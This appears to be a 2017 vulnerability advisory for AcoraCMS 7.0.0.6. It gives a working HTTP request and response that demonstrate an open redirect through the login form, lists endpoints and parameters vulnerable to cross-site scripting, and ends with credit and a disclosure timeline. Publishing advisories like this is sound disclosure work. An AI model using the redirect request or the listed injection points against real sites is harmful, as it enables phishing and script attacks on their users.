AcoraCMS browser redirect and Cross-site scripting vulnerabilities

https://www.osisecurity.com.au/acoracms-browser-redirect-and-cross-site-scripting-vulnerabilities.html

Date:
04-Apr-2017

Product:
AcoraCMS

Versions affected:
7.0.0.6 (known bugs from 6.0.6 are still present
http://www.digitalsec.net/stuff/explt+advs/CM3.AcoraCMS.v6.txt).

Vulnerabilities:
1) Arbitrary browser redirect:

POST /forums/login.asp HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
cmRedirect=//osisecurity.com.au&strForumsLoginPrefix=&username=test&password=test

HTTP/1.1 302 Object moved
Cache-Control: private
Content-Length: 141
Content-Type: text/html; Charset=utf-8
Location: //osisecurity.com.au
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Tue, 14 Jul 2015 05:13:12 GMT

2) Cross-site scripting

/AcoraCMS/Admin/interface.asp [name of an arbitrarily supplied URL parameter]
/AcoraCMS/Admin/users/password_submit.asp [username parameter]
/AcoraCMS/Admin/users/password_submit.asp [email parameter]
/forums/profile_submit.asp [FunctionName parameter]
/forums/profile_submit.asp [cmFields parameter]
/forums/profile_submit.asp [fusername parameter]
/search/Default.aspx [SearchType parameter]
/users/requestaccess.aspx [cmFields parameter]

Credit:
Discovered by Patrick Webster

Disclosure timeline:
14-Jul-2015 - Discovered during audit.
01-Sep-2015 - Reported to vendor.
04-Apr-2017 - Public disclosure.

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